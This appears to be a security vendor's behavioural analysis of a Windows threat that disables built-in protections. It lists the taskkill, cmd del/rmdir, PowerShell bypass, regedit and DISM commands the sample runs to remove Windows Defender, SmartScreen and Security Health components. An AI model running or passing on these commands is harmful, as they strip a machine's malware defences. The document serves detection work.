Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
blocks the following features:
- User Account Control (UAC)
- Windows Security Center
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /f /im smartscreen.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im SecurityHealthSystray.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im SecurityHealthHost.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im SecurityHealthService.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im DWWIN.EXE
- '%WINDIR%\syswow64\taskkill.exe' /f /im CompatTelRunner.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im GameBarPresenceWriter.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im DeviceCensus.exe
Launches a large number of processes
Modifies file system
Creates the following files
- %TEMP%\lwumz35a.gjm\all.reg
- %TEMP%\lwumz35a.gjm\run.bat
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
- ClassName: 'RegEdit_RegEdit' WindowName: ''
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c "%TEMP%\lwumz35a.gjm\run.bat"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c "%TEMP%\lwumz35a.gjm\run.bat"
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""%WINDIR%\SysWOW64\DeviceCensus.exe""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""%WINDIR%\SysWOW64\CompatTelRunner.exe""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<DRIVERS>\msseccore.sys""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<DRIVERS>\MsSecFltWfp.sys""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<DRIVERS>\MsSecFlt.sys""
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%WINDIR%\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%ALLUSERSPROFILE%\Microsoft\Windows Defender" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%ALLUSERSPROFILE%\Microsoft\Windows Defender Advanced Threat Protection" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%ProgramFiles(x86)%\Windows Defender Advanced Threat Protection" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%ProgramFiles%\Windows Defender Advanced Threat Protection" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%ALLUSERSPROFILE%\Microsoft\Windows Security Health" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%ALLUSERSPROFILE%\Microsoft\Storage Health" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""%WINDIR%\SysWOW64\GameBarPresenceWriter.exe""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\GameBarPresenceWriter.exe""
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "<DRIVERS>\wd" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "<SYSTEM32>\SecurityHealth" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "<SYSTEM32>\WebThreatDefSvc" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "<SYSTEM32>\Sgrm" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%WINDIR%\Containers\WindowsDefenderApplicationGuard.wim" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "<SYSTEM32>\WindowsPowerShell\v1.0\Modules\DefenderPerformance" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "<SYSTEM32>\WindowsPowerShell\v1.0\Modules\Defender" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "<SYSTEM32>\Tasks_Migrated\Microsoft\Windows\Windows Defender" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "<SYSTEM32>\Tasks\Microsoft\Windows\Windows Defender" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "<SYSTEM32>\HealthAttestationClient" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%WINDIR%\GameBarPresenceWriter" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%ProgramFiles(x86)%\Windows Defender" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%ProgramFiles%\Windows Defender" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\wscadminui.exe""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\wscapi.dll""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\SecurityHealthAgent.dll""
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -File "RemoveSecHealthApp.ps1
- '%WINDIR%\syswow64\regedit.exe' /s "all.reg"
- '%WINDIR%\syswow64\dism.exe' /online /Disable-Feature /FeatureName:Windows-Defender-Default-Definitions /Remove
- '%WINDIR%\syswow64\dism.exe' /online /Disable-Feature /FeatureName:Windows-Defender-ApplicationGuard /Remove
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\SecurityAndMaintenance_Error.png""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\SecurityAndMaintenance.png""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\SecurityHealthSystray.exe""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\SecurityHealthService.exe""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\SecurityHealthHost.exe""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<DRIVERS>\SgrmAgent.sys""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<DRIVERS>\WdDevFlt.sys""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<DRIVERS>\WdBoot.sys""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<DRIVERS>\WdFilter.sys""
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File ""RemoveSecHealthApp.ps1""' -Verb RunAs}"
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\wscsvc.dll""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\wscproxystub.dll""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\wscisvif.dll""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\SecurityHealthProxyStub.dll""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\smartscreen.dll""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""%WINDIR%\SysWOW64\smartscreen.dll""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\smartscreen.exe""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""%WINDIR%\SysWOW64\smartscreen.exe""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\DWWIN.EXE""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""%WINDIR%\SysWOW64\smartscreenps.dll""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\smartscreenps.dll""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\SecurityHealthCore.dll""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\SecurityHealthSsoUdk.dll""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<SYSTEM32>\SecurityHealthUdk.dll""
- '%WINDIR%\syswow64\cmd.exe' /c del /f ""<DRIVERS>\WdNisDrv.sys""
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%WINDIR%\bcastdvr" /s /q
- '%WINDIR%\syswow64\cmd.exe' /c rmdir "%WINDIR%\Containers\serviced\WindowsDefenderApplicationGuard.wim" /s /q
